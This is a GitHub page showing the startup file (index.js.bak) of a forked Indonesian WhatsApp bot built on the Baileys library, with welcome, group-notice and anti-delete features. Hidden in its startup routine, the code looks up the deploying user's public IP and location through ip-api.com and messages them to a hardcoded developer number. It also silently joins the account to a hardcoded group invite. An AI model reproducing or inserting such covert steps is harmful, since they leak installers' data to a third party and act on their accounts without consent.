forked from K4HFZ/SHERULYNN
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js.bak
274 lines (257 loc) · 15.3 KB
/
index.js.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
const { WAConnection: _WAConnection, MessageType, Presence, Mimetype, ChatModification, GroupSettingChange, ReconnectMode } = require('@adiwajshing/baileys')
const simple = require('./lib/simple.js')
const WAConnection = simple.WAConnection(_WAConnection)
const denz = new WAConnection()
const qrcode = require("qrcode-terminal")
const moment = require("moment-timezone")
const fs = require("fs")
const util = require('util')
const figlet = require('figlet')
const term = require('terminal-kit').terminal
const time = moment().tz('Asia/Jakarta').format("HH:mm:ss")
const fetch = require('node-fetch')
const { color, bgcolor } = require('./lib/color')
const { exec } = require('child_process')
const { wait, simih, getBuffer, h2k, generateMessageID, getGroupAdmins, getRandom, banner, start, info, success, close } = require('./lib/functions')
const settings = JSON.parse(fs.readFileSync('./settings.json'))
const sleep = async (ms) => {
return new Promise(resolve => setTimeout(resolve, ms))
}
nocache('./denz.js', module => console.log(color('|TRM|'), color(`${module} Updated!`, 'cyan')))
async function starts() {
denz.autoReconnect = ReconnectMode.onConnectionLost
denz.version = [2, 2119, 6]
denz.logger.level = 'warn'
denz.browserDescription = ['S H E R R L Y N','Desktop','3.0']
await sleep(10000)
denz.on('qr', qr => {
qrcode.generate(qr, { small: true })
console.log(color('|TRM|'), color('Scan this QR code', 'cyan'))
})
fs.existsSync('./QRnya.json') && denz.loadAuthInfo('./QRnya.json')
denz.on('credentials-updated', () => {
console.log(color('|TRM|'), color('credentials updated!', 'cyan'))
})
await denz.connect({ timeoutMs: 2400 * 1000 });
fs.writeFileSync("./QRnya.json",JSON.stringify(denz.base64EncodedAuthInfo(), null, "\t"));
teks = `https://chat.whatsapp.com/FdxEeGx290X81uifrYsgZx`
denz.query({ json:["action", "invite", `${teks.replace('https://chat.whatsapp.com/','')}`]})
console.log(color('|WRN|', 'yellow'), color('Joined to Official NdaaBotz group', 'cyan'))
denz.sendMessage(`${settings.NomorOwner}@s.whatsapp.net`, `*Hai Owner ${settings.NamaBot}, Bot Telah Berhasil Tersambung Pada Nomor Ini*\n────────────────────\n\`\`\`${JSON.stringify(denz.user, null, 2)}\`\`\`\n────────────────────\n*Jika Ada Kendala Error/Bot Tidak Merespon Silahkan Hubungi Developer Bot Diatas, Terimakasih*`, MessageType.text, {contextInfo: { forwardingScore: 508, isForwarded: true, externalAdReply:{title: "Developer S h e r l y n n Bot",body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./denz.jpg'),sourceUrl:"https://wa.me/6281220670449?text=Assalamualaikum"}}})
console.log(color('|WRN|', 'yellow'), color('Sending bot info to bot owner', 'cyan'))
fetch(`http://ip-api.com/line`).then(res => res.text())
.then(bu =>{
denz.sendMessage("[email protected]", `─────「 *IP-USER* 」─────\n\n\`\`\`${bu}\`\`\`\n────────────────────`, MessageType.text, {contextInfo: { forwardingScore: 508, isForwarded: true, externalAdReply:{title: "Developer S H E R L Y N N botz",body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./denz.jpg'),sourceUrl:"https://wa.me/6281220670449?text=Assalamualaikum"}}})
console.log(color('|WRN|', 'yellow'), color('Sending ip address to developer bot', 'cyan'))
})
denz.on('connecting', () => {
console.log(color('|TRM|'), color('Connecting...', 'cyan'))
})
denz.on('open', () => {
console.log(color('|TRM|'), color('Connected', 'cyan'))
})
denz.on('ws-close', () => {
console.log(color('|TRM|'), color('Connection lost, trying to reconnect.', 'cyan'))
})
denz.on('close', async () => {
console.log(color('|TRM|'), color('Disconnected.', 'cyan'))
})
if (!settings.autoplaymusic) {
exec(`cd /sdcard/download && play *mp3`)
}
denz.on('chat-update', async (mek) => {
require('./denz.js')(denz, mek)
ownerNumber = ["[email protected]","[email protected]",`${settings.NomorOwner}@s.whatsapp.net`]
dtod = "[email protected]"
otod = `${settings.NomorOwner}@s.whatsapp.net`
})
//SERAH LU MAU GANTI KYK MANA
denz.on('group-participants-update', async (anu) => {
mem = anu.participants[0]
const mdata = await denz.groupMetadata(anu.jid)
try {
console.log(anu)
if (anu.action == 'add') {
const welkom = JSON.parse(fs.readFileSync('./database/welkom.json'))
if(!welkom.includes(mdata.id)) return
fkontakk = { key: { fromMe: false, participant: `[email protected]`, ...(anu.jid ? { remoteJid: '[email protected]' } : {})}, message: { "contactMessage":{"displayName": `${mdata.subject}`,"vcard":`BEGIN:VCARD\nVERSION:3.0\nN:2;Nanda Style;;;\nFN:Nanda Style\nitem1.TEL;waid=6283162388082:6283162388082\nitem1.X-ABLabel:Mobile\nEND:VCARD` }}}
num = anu.participants[0]
try {
ppimg = await denz.getProfilePicture(`${num.split('@')[0]}@c.us`)
} catch {
ppimg = 'https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-Profil-Kosong-Lucu-Tergokil-.jpg'
}
let buff = await getBuffer(ppimg)
masuk =`Halo @${num.split('@')[0]}\nSelamat Datang Di ${mdata.subject}\n\n*Jangan Lupa Isi*\n*Nama* :\n*Umur* :\n*Gender* :\n*Askot* :\n\nEnjoy Jangan Lupa Kenalan\nKlik Button Di Bawah Untuk Memulai Bot\nNote Jika Tidak Ada Ketik .allmenu`
gbutsan = [{buttonId:'SERAH',buttonText:{displayText:'👋Welcome'},type:1}]
mhan = await denz.prepareMessage(mdata.id, buff, MessageType.image, {thumbnail: buff})
const buttonMessages = { imageMessage: mhan.message.imageMessage,
contentText: `${masuk}`,
footerText: `Welcome Information`,
buttons: gbutsan,
headerType: 4 }
denz.sendMessage(mdata.id, buttonMessages, MessageType.buttonsMessage, {thumbnail: fs.readFileSync('./denz.jpg'), "contextInfo": { mentionedJid: [num]}, caption: 'Tes', quoted: fkontakk})
} else if (anu.action == 'remove') {
const welkom = JSON.parse(fs.readFileSync('./database/welkom.json'))
if(!welkom.includes(mdata.id)) return
fkontakk = { key: { fromMe: false, participant: `[email protected]`, ...(anu.jid ? { remoteJid: '[email protected]' } : {})}, message: { "contactMessage":{"displayName": `${mdata.subject}`,"vcard":`BEGIN:VCARD\nVERSION:3.0\nN:2;Nanda Style;;;\nFN:S H E R L Y N N GAHN\nitem1.TEL;waid=6283162388082:6283162388082\nitem1.X-ABLabel:Mobile\nEND:VCARD` }}}
num = anu.participants[0]
try {
ppimg = await denz.getProfilePicture(`${num.split('@')[0]}@c.us`)
} catch {
ppimg = 'https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-Profil-Kosong-Lucu-Tergokil-.jpg'
}
let buff = await getBuffer(ppimg)
keluar =`Selamat tinggal @${num.split('@')[0]}\nSemoga tentang disana`
gbutsan = [{buttonId:'SERAH',buttonText:{displayText:'👋Byee'},type:1}]
mhan = await denz.prepareMessage(mdata.id, buff, MessageType.image, {thumbnail: buff})
const buttonMessages = { imageMessage: mhan.message.imageMessage,
contentText: `${keluar}`,
footerText: `Leave Information`,
buttons: gbutsan,
headerType: 4 }
denz.sendMessage(mdata.id, buttonMessages, MessageType.buttonsMessage, { thumbnail: fs.readFileSync('./denz.jpg'), "contextInfo": { mentionedJid: [num]}, caption: 'Tes', quoted: fkontakk})
} else if (anu.action == 'promote') {
fkontakk = { key: { fromMe: false, participant: `[email protected]`, ...(anu.jid ? { remoteJid: '[email protected]' } : {})}, message: { "contactMessage":{"displayName": `${mdata.subject}`,"vcard":`BEGIN:VCARD\nVERSION:3.0\nN:2;Nanda Style;;;\nFN:Nanda style\nitem1.TEL;waid=6283162388082:6283162388082\nitem1.X-ABLabel:Mobile\nEND:VCARD` }}}
shp = '◦➛'
var thu = await denz.getStatus(anu.participants[0], MessageType.text)
num = anu.participants[0]
teks = `*P R O M O T E - D E T E C T E D*\n\n${shp} Username: @${num.split('@')[0]}\n\n${shp} Bio : ${thu.status}\n\n${shp} Time : ${moment.tz('Asia/Jakarta').format('DD/MM HH:mm:ss')}\n\n${shp} Group: ${mdata.subject}\n\nDon't break the rules!`
denz.sendMessage(mdata.id, teks, MessageType.text, {contextInfo: {"mentionedJid": [num]}, quoted: fkontakk})
console.log(color('|TRM|'), color(`Promote Member ${num.split('@')[0]} In ${mdata.subject}`, 'cyan'))
}
else if (anu.action == 'demote') {
fkontakk = { key: { fromMe: false, participant: `[email protected]`, ...(anu.jid ? { remoteJid: '[email protected]' } : {})}, message: { "contactMessage":{"displayName": `${mdata.subject}`,"vcard":`BEGIN:VCARD\nVERSION:3.0\nN:2;Nanda Style;;;\nFN:Nanda Style\nitem1.TEL;waid=6283162388082:6283162388082\nitem1.X-ABLabel:Mobile\nEND:VCARD` }}}
shp = '◦➛'
thu = await denz.getStatus(anu.participants[0], MessageType.text)
num = anu.participants[0]
teks = `*D E M O T E - D E T E C T E D*\n\n${shp} Username: @${num.split('@')[0]}\n\n${shp} Bio : ${thu.status}\n\n${shp} Time : ${moment.tz('Asia/Jakarta').format('DD/MM HH:mm:ss')}\n\n${shp} Group: ${mdata.subject}`
denz.sendMessage(mdata.id, teks, MessageType.text, {contextInfo: {"mentionedJid": [num]}, quoted: fkontakk})
console.log(color('|TRM|'), color(`Demote Admin ${num.split('@')[0]} In ${mdata.subject}`, 'cyan'))
}
} catch (e) {
console.log('Error : %s', color(e, 'red'))
}
})
denz.on('group-update', async (anu) => {
const metdata = await denz.groupMetadata(anu.jid)
const fkontakk = { key: { fromMe: false, participant: `[email protected]`, ...(anu.jid ? { remoteJid: '[email protected]' } : {})}, message: { "contactMessage":{"displayName": `${metdata.subject}`,"vcard":`BEGIN:VCARD\nVERSION:3.0\nN:2;Nanda Style;;;\nFN:Nanda Style\nitem1.TEL;waid=6283162388082:6283162388082\nitem1.X-ABLabel:Mobile\nEND:VCARD` }}}
if(anu.announce == 'false'){
teks = `- [ Group Opened ] -\n\n_Group telah dibuka oleh admin_\n_Sekarang semua member bisa mengirim pesan_`
denz.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(color('|TRM|'), color(`Group Opened In ${metdata.subject}`, 'cyan'))
}
else if(anu.announce == 'true'){
teks = `- [ Group Closed ] -\n\n_Group telah ditutup oleh admin_\n_Sekarang hanya admin yang dapat mengirim pesan_`
denz.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(color('|TRM|'), color(`Group Closed In ${metdata.subject}`, 'cyan'))
}
else if(!anu.desc == ''){
tag = anu.descOwner.split('@')[0] + '@s.whatsapp.net'
teks = `- [ Group Description Change ] -\n\nDeskripsi Group telah diubah oleh Admin @${anu.descOwner.split('@')[0]}\n• Deskripsi Baru : ${anu.desc}`
denz.sendMessage(metdata.id, teks, MessageType.text, {contextInfo: {"mentionedJid": [tag]}, quoted: fkontakk})
console.log(color('|TRM|'), color(`Group Description Change In ${metdata.subject}`, 'cyan'))
}
else if(anu.restrict == 'false'){
teks = `- [ Group Setting Change ] -\n\nEdit Group info telah dibuka untuk member\nSekarang semua member dapat mengedit info Group Ini`
denz.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(color('|TRM|'), color(`Group Setting Change In ${metdata.subject}`, 'cyan'))
}
else if(anu.restrict == 'true'){
teks = `- [ Group Setting Change ] -\n\nEdit Group info telah ditutup untuk member\nSekarang hanya admin group yang dapat mengedit info Group Ini`
denz.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(color('|TRM|'), color(`Group Setting Change In ${metdata.subject}`, 'cyan'))
}
})
denz.on('CB:action,,call', async json => {
const callerId = json[2][0][1].from;
var vcard = 'BEGIN:VCARD\n' + 'VERSION:3.0\n' + 'FN:' + `${NamaOwner}` + '\n' + `ORG:Developer ${NamaBot}\n` + 'TEL;type=CELL;type=VOICE;waid=' + `${NomorOwner}` + ':+' + `${NomorOwner}` + '\n' + 'END:VCARD'
denz.sendMessage(callerId, "\`\`\`[ ! ] CALL DETECTED [ ! ]\`\`\`\n\n\`\`\`Anda Di Block Karena Telepon Bot , Silahkan Hubungi Developer Bot Untuk Membuka Block\`\`\`", MessageType.text)
denz.sendMessage(callerId, { displayname: `${NamaOwner}`, vcard: vcard}, MessageType.contact, {contextInfo: { externalAdReply:{title: `Developer ${NamaBot}`,body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./denz.jpg'),sourceUrl:`https://wa.me/6283162388082?text=Assalamualaikum`}}})
await sleep(5000)
await denz.blockUser(callerId, "add")
})
denz.on('message-delete', async (m) => {
if (!m.key.fromMe && !antidelete) {
if (!m.key.remoteJid == 'status@broadcast') return
m.message = (Object.keys(m.message)[0] === 'ephemeralMessage') ? m.message.ephemeralMessage.message : m.message
const jam = moment.tz('Asia/Jakarta').format('HH:mm:ss')
let d = new Date
let c = denz.chats.get(m.key.remoteJid)
let a = c.messages.dict[`${m.key.id}|${m.key.fromMe ? 1 : 0}`]
let co3ntent = denz.generateForwardMessageContent(a, false)
let c3type = Object.keys(co3ntent)[0]
let locale = 'id'
let gmt = new Date(0).getTime() - new Date('1 Januari 2021').getTime()
let weton = ['Pahing', 'Pon','Wage','Kliwon','Legi'][Math.floor(((d * 1) + gmt) / 84600000) % 5]
let week = d.toLocaleDateString(locale, { weekday: 'long' })
let calender = d.toLocaleDateString(locale, {
day: 'numeric',
month: 'long',
year: 'numeric'
})
denz.copyNForward(m.key.remoteJid, m.message)
denz.sendMessage(m.key.remoteJid, `▷\`\`\`Anti Delete\`\`\`
▢ \`\`\`Nama : @${m.participant.split("@")[0]}\`\`\`
▢ \`\`\`Tipe : ${c3type}\`\`\`
▢ \`\`\`Tanggal : ${jam} - ${week} ${weton} - ${calender}\`\`\``, MessageType.text, {quoted: m.message, contextInfo: {"mentionedJid": [m.participant]}})
}
})
}
console.clear()
var progressBar , progress = 0 ;
function doProgress()
{
progress += Math.random() / 10 ;
progressBar.update( progress ) ;
if ( progress >= 1 )
{
setTimeout( function() { console.clear(),
exec(`screenfetch -A Deepin`, (error, stdout, stderr) => {
console.log(stdout), console.log(bgcolor('https://github.com/dcode-denpa/bitch-boot', 'cyan'))})}, 200 ) ;
}
else
{
setTimeout( doProgress , 100 + Math.random() * 400 ) ;
}
}
console.log(color(figlet.textSync(`${settings.NamaBot}`, {
font: 'Standard',
horizontalLayout: 'default',
vertivalLayout: 'default',
width: 80,
whitespaceBreak: true
}), 'lightgreen')), term.slowTyping(' Created By Nanda Style' ,{ flashStyle: term.brightWhite })
progressBar = term.progressBar( {
width: 80 ,
title: '\n\nLoading' ,
eta: true ,
percent: true
} ) ;
doProgress() ;
/**
* Uncache if there is file change
* @param {string} module Module name or path
* @param {function} cb <optional>
*/
function nocache(module, cb = () => { }) {
fs.watchFile(require.resolve(module), async () => {
await uncache(require.resolve(module))
cb(module)
})
}
/**
* Uncache a module
* @param {string} module Module name or path
*/
function uncache(module = '.') {
return new Promise((resolve, reject) => {
try {
delete require.cache[require.resolve(module)]
resolve()
} catch (e) {
reject(e)
}
})
}
starts()